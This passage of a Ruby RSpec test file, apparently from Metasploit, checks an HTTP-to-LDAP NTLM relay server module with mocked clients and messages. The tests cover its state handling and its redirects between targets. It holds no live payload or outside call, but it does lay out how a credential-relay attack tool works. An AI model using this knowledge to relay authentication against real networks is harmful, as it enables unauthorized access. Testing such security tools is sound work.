allow(cli).to receive(:keepalive=)
|
||||
allow(cli).to receive(:put)
|
||||
allow(cli).to receive(:send_response)
|
||||
cli
|
||||
end
|
||||
|
||||
let(:mock_target) do
|
||||
double('Target',
|
||||
protocol: :ldap,
|
||||
ip: '172.16.199.200',
|
||||
port: 389,
|
||||
drop_mic_and_sign_key_exch_flags: false,
|
||||
drop_mic_only: false
|
||||
)
|
||||
end
|
||||
|
||||
let(:target_list) do
|
||||
list = double('Msf::Exploit::Remote::Relay::TargetList')
|
||||
allow(list).to receive(:next).and_return(mock_target)
|
||||
allow(list).to receive(:on_relay_end)
|
||||
list
|
||||
end
|
||||
|
||||
let(:type2_msg) { double('Type2', serialize: 'TYPE2_BYTES') }
|
||||
let(:type1_relay_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED, message: type2_msg) }
|
||||
let(:type3_success_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_SUCCESS) }
|
||||
let(:type3_fail_result) { double('RelayResult', nt_status: WindowsError::NTStatus::STATUS_LOGON_FAILURE) }
|
||||
|
||||
let(:mock_ldap_client) do
|
||||
client = double('LDAPClient', target: mock_target)
|
||||
allow(client).to receive(:relay_ntlmssp_type1).and_return(type1_relay_result)
|
||||
allow(client).to receive(:relay_ntlmssp_type3).and_return(type3_success_result)
|
||||
allow(client).to receive(:disconnect!)
|
||||
client
|
||||
end
|
||||
|
||||
let(:relay_class) do
|
||||
Class.new(Msf::Auxiliary) do
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HttpServer::Relay
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
end
|
||||
|
||||
def relay_targets; end
|
||||
def on_relay_success(relay_connection:, relay_identity:); end
|
||||
def on_ntlm_type3(args); end
|
||||
|
||||
def print_status(msg); end
|
||||
def print_error(msg); end
|
||||
def print_good(msg); end
|
||||
def print_warning(msg); end
|
||||
def vprint_status(msg); end
|
||||
def vprint_error(msg); end
|
||||
def elog(msg, error: nil); end
|
||||
end
|
||||
end
|
||||
|
||||
subject(:relay_server) do
|
||||
mod = relay_class.new
|
||||
mod.instance_variable_set(:@logger, mod)
|
||||
allow(mod).to receive(:relay_targets).and_return(target_list)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:type1_bytes) { "NTLMSSP\x00TYPE1" }
|
||||
let(:type3_bytes) { "NTLMSSP\x00TYPE3" }
|
||||
|
||||
let(:type1_b64) { Base64.strict_encode64(type1_bytes) }
|
||||
let(:type3_b64) { Base64.strict_encode64(type3_bytes) }
|
||||
|
||||
let(:type1_msg) do
|
||||
msg = Net::NTLM::Message::Type1.new
|
||||
allow(msg).to receive(:serialize).and_return(type1_bytes)
|
||||
msg
|
||||
end
|
||||
|
||||
let(:type3_msg) do
|
||||
msg = Net::NTLM::Message::Type3.new
|
||||
allow(msg).to receive(:serialize).and_return(type3_bytes)
|
||||
allow(msg).to receive(:domain).and_return('DOMAIN')
|
||||
allow(msg).to receive(:user).and_return('USER')
|
||||
msg
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow(Net::NTLM::Message).to receive(:parse).with(type1_bytes).and_return(type1_msg)
|
||||
allow(Net::NTLM::Message).to receive(:parse).with(type3_bytes).and_return(type3_msg)
|
||||
allow(Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client).to receive(:create).and_return(mock_ldap_client)
|
||||
end
|
||||
|
||||
def get_client_state(server)
|
||||
clients = server.instance_variable_get(:@relay_clients) || {}
|
||||
clients[client_id]
|
||||
end
|
||||
|
||||
describe 'State Transitions' do
|
||||
context 'when receiving an initial unauthenticated request' do
|
||||
it 'responds with a 401 and tracks state as unauthenticated' do
|
||||
expect(mock_cli).to receive(:put).with(/401 Unauthorized/)
|
||||
|
||||
relay_server.on_relay_request(mock_cli, create_request)
|
||||
|
||||
client = get_client_state(relay_server)
|
||||
expect(client).not_to be_nil
|
||||
expect(client.state).to eq(:unauthenticated)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when receiving a Type 1 message' do
|
||||
let(:req1) { create_request("NTLM #{type1_b64}") }
|
||||
|
||||
it 'relays to LDAP, sends Type 2 challenge, and transitions state to awaiting_type3' do
|
||||
expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 401 })
|
||||
|
||||
relay_server.on_relay_request(mock_cli, req1)
|
||||
|
||||
client = get_client_state(relay_server)
|
||||
expect(client).not_to be_nil
|
||||
expect(client.state).to eq(:awaiting_type3)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe 'Target Iteration and Exhaustion' do
|
||||
let(:req1) { create_request("NTLM #{type1_b64}") }
|
||||
let(:req3) { create_request("NTLM #{type3_b64}") }
|
||||
|
||||
before(:each) do
|
||||
relay_server.on_relay_request(mock_cli, req1)
|
||||
end
|
||||
|
||||
context 'when LDAP authentication succeeds' do
|
||||
it 'calls on_relay_success and redirects to the next target' do
|
||||
expect(relay_server).to receive(:on_relay_success)
|
||||
expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 307 })
|
||||
|
||||
relay_server.on_relay_request(mock_cli, req3)
|
||||
|
||||
client = get_client_state(relay_server)
|
||||
expect(client.state).to eq(:unauthenticated)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when LDAP authentication fails' do
|
||||
before(:each) do
|
||||
allow(mock_ldap_client).to receive(:relay_ntlmssp_type3).and_return(type3_fail_result)
|
||||
end
|
||||
|
||||
it 'redirects to the next target and resets state to unauthenticated' do
|
||||
expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 307 })
|
||||
|
||||
relay_server.on_relay_request(mock_cli, req3)
|
||||
|
||||
client = get_client_state(relay_server)
|
||||
expect(client.state).to eq(:unauthenticated)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the target list is completely exhausted' do
|
||||
before(:each) do
|
||||
allow(target_list).to receive(:next).and_return(nil)
|
||||
end
|
||||
|
||||
it 'sends a 404 and garbage collects the client state entirely' do
|
||||
expect(mock_cli).to receive(:send_response).with(satisfy { |res| res.code == 404 })
|
||||
|
||||
relay_server.on_relay_request(mock_cli, req3)
|
||||
|
||||
client = get_client_state(relay_server)
|
||||
expect(client).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user